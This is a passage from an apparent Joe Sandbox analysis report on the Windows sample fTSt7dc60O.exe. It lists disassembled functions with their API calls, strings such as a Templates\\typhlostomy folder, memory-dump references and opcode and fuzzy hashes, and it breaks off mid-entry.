Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: A
API String ID: 2146148272-1346673623
Opcode ID: 38246e7ae17352d7cedfc7595443620c434811b06811d2a86a618e437c7072d2
Instruction ID: 34320a24581f7621071559271f75aff2a33e70c32c739a51ea230fcf3b1a2f41
Opcode Fuzzy Hash: 38246e7ae17352d7cedfc7595443620c434811b06811d2a86a618e437c7072d2
Instruction Fuzzy Hash: CB418B72504205DFDB109F29EE84AA63BADF74431671441BFE604B22E1C7B96D418BEC

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405A3E: CharNextW.USER32(?,?,00424EF0,?,00405AB2,00424EF0,00424EF0,?,?,771B2EE0,004057F0,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\fTSt7dc60O.exe"), ref: 00405A4C
Part of subcall function 00405A3E: CharNextW.USER32(00000000), ref: 00405A51
Part of subcall function 00405A3E: CharNextW.USER32(00000000), ref: 00405A69

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy
API String ID: 3751793516-3275360645
Opcode ID: 9b673ddbf1d69572a6be76a75328456f52fe096521e7ed3c2b5c74dd951979b8
Instruction ID: 602e027c19ef8137931421d3e2870900c2c1aa36f58208ee64056e3add0ea48c
Opcode Fuzzy Hash: 9b673ddbf1d69572a6be76a75328456f52fe096521e7ed3c2b5c74dd951979b8
Instruction Fuzzy Hash: 4F11C271904200EBCF206FA0CD449AE7AB4FF14369B34463BF881B62E1D23D49419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b547f4a97addcc1e8c82d95905b84b8973278d2723117ef79469a300e8f1f4e9
Instruction ID: 39c85bfe7ca74ada2351cc0a51ccebcd1f3e21716521df4e7e96f28c7df0de5f
Opcode Fuzzy Hash: b547f4a97addcc1e8c82d95905b84b8973278d2723117ef79469a300e8f1f4e9
Instruction Fuzzy Hash: 5B116A31904008FEEF229F90DE89EAE3B7DFB14348F100476FA01B00A0D3B59E51EA69

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: d19b98991503ed1f4222ee02892706a0c20354a75bd4722b3fc13797bb1a772f
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: d19b98991503ed1f4222ee02892706a0c20354a75bd4722b3fc13797bb1a772f
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405E15 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Call,?,00406088,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E3F
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,00406088,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E60
RegCloseKey.ADVAPI32(?,?,00406088,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E83

Strings

Call, xrefs: 00405E18

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 600534e839ec184522a2ed62e812a695e1e378dc1a2fe7ff70d8343822b3fb0e
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: A7015A3114020EEACB218F56EC08EEB3BA8EF54390F00413AF944D2220D334DA64CBE5

Function 00405BE3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C01
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user~1\AppData\Local\Temp\), ref: 00405C1C

Strings

nsa, xrefs: 00405BF0
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405BE8, 00405BEC

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user~1\AppData\Local\Temp\$nsa
API String ID: 1716503409-3083371207
Opcode ID: c429582aea5e4f3fae6c397ed87dacf02ee6c580567254a7da4e12ab8597e880
Instruction ID: 094b443934c56d738417ad06ce23117a41e39d67b54f0ae1535361756efc6c0b
Opcode Fuzzy Hash: c429582aea5e4f3fae6c397ed87dacf02ee6c580567254a7da4e12ab8597e880
Instruction Fuzzy Hash: 45F09676A04208BBDB009F59DC05E9BB7B8EB91710F10803AEA01E7151E2B0AD448B54

Function 00403326 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 004061DC: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fTSt7dc60O.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 0040623F
Part of subcall function 004061DC: CharNextW.USER32(?,?,?,00000000), ref: 0040624E
Part of subcall function 004061DC: CharNextW.USER32(?,"C:\Users\user\Desktop\fTSt7dc60O.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00406253
Part of subcall function 004061DC: CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00406266

CreateDirectoryW.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\,00000000,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00403347

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403327, 0040332C, 00403332, 0040333E, 00403346, 0040334D
1033, xrefs: 0040334E

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user~1\AppData\Local\Temp\
API String ID: 4115351271-3049706366
Opcode ID: bbd1dcb3637595afbe6b96ae3bcfafd58112e7b3325432cb54e87bfcccc6df60
Instruction ID: 64a45b222adfb8bd76fd8b495f2d7cf88aee328212c381153bc1e0c9699f7593
Opcode Fuzzy Hash: bbd1dcb3637595afbe6b96ae3bcfafd58112e7b3325432cb54e87bfcccc6df60
Instruction Fuzzy Hash: 22D0C92251AA3135C551372A7D06FCF295C8F0A329F12A477F809B90C2CB7C2A8249FE

Function 004069D2 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba6317b19b7b230722eb11252d44c293277e5dc1cbca2e551617393c5194c9d0
Instruction ID: dca007468fed7c27dd914b546e5ea1ac9ab056a0c62ecf1bea7b7831388965f7
Opcode Fuzzy Hash: ba6317b19b7b230722eb11252d44c293277e5dc1cbca2e551617393c5194c9d0
Instruction Fuzzy Hash: 58A14471E00229DBDF28CFA8C8447ADBBB1FF48305F15816AD856BB281C7785A96CF44

Function 00406BD3 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db87408b1e9cadcd0a4c6ae5b6f4dd47f3337075cb2a4d2d14f0ff51d5c97f6a
Instruction ID: e31ab10654d3133c4bbe562e0396aaf9f668a3464ceaf5ac7e335a669e1e1d03
Opcode Fuzzy Hash: db87408b1e9cadcd0a4c6ae5b6f4dd47f3337075cb2a4d2d14f0ff51d5c97f6a
Instruction Fuzzy Hash: 8E912371E00228CBEF28CF98C8587ADBBB1FF44305F15816AD856BB291C7785A96DF44

Function 004068E9 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 165f4b65d4ff5263617aa106d744e60dbd7c4f5d43725cc52d5e79b0d4499ef2
Instruction ID: e0c60a541a5106e25e0a2f50f35f038ee2aa27f15edb78bccdd8f3c871378321
Opcode Fuzzy Hash: 165f4b65d4ff5263617aa106d744e60dbd7c4f5d43725cc52d5e79b0d4499ef2
Instruction Fuzzy Hash: 2C814471D04228DFDF24CFA8C8487ADBBB1FB45305F25816AD456BB281C7789A96CF44

Function 004063EE Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 148eda801716ed3d9969b88488a2fa3c6a7092fa608051ce9148cc038319d1b3
Instruction ID: c1f18cc480c27d0a28c5d6dc1e8cd9b1e5e62e2ab7f78041d4dc85e199002e6a
Opcode Fuzzy Hash: 148eda801716ed3d9969b88488a2fa3c6a7092fa608051ce9148cc038319d1b3
Instruction Fuzzy Hash: 9B816731D04228DBDF24CFA8C8487ADBBB1FB44305F25816AD856BB2C1C7785A96DF84

Function 0040683C Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4983b507bd6312ae2b30a384a7c44b2e85aa51a10719cb6f4e73ba4d3199020d
Instruction ID: 317a4f11872e46a6f39a96627fb546a7164eb21cb9e645d400dda74b69288846
Opcode Fuzzy Hash: 4983b507bd6312ae2b30a384a7c44b2e85aa51a10719cb6f4e73ba4d3199020d
Instruction Fuzzy Hash: 48713471D04228DFEF24CFA8C8447ADBBB1FB48305F15816AD856BB281C7785A96DF44

Function 0040695A Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02494a79b55f78bffb2877069ace75a440f4ea31aa61c09e76d6a1b36594b02c
Instruction ID: 7b464a411068ed62169f7738ff9b09ef3af2f2625e32a791141ed05019b82bd1
Opcode Fuzzy Hash: 02494a79b55f78bffb2877069ace75a440f4ea31aa61c09e76d6a1b36594b02c
Instruction Fuzzy Hash: A4714571E04228DFEF28CF98C8447ADBBB1FB48301F15816AD456BB281C7785996DF44

Function 004068A6 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e250f200d648af3f0bd61970bfe314c861a6b6aa0b25ddc882d3b39d553e7667
Instruction ID: 924b227091e8338000478ad755e115b80dfeef44851b3a3b0f99ac33e872c674
Opcode Fuzzy Hash: e250f200d648af3f0bd61970bfe314c861a6b6aa0b25ddc882d3b39d553e7667
Instruction Fuzzy Hash: 07713571E04228DBEF28CF98C8447ADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00403062 Relevance: 4.6, APIs: 3, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNELBASE(00000000,00413E90,?,000000FF,00000000,00413E90,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 90118ecf7a9ba7c1b0c512c54543666c71b076bc3a218e086344a49311413f62
Instruction ID: e0bff1d0cfda9ca41153e72f66d50dbc15cd376e58f7be5246e1248deba32b17
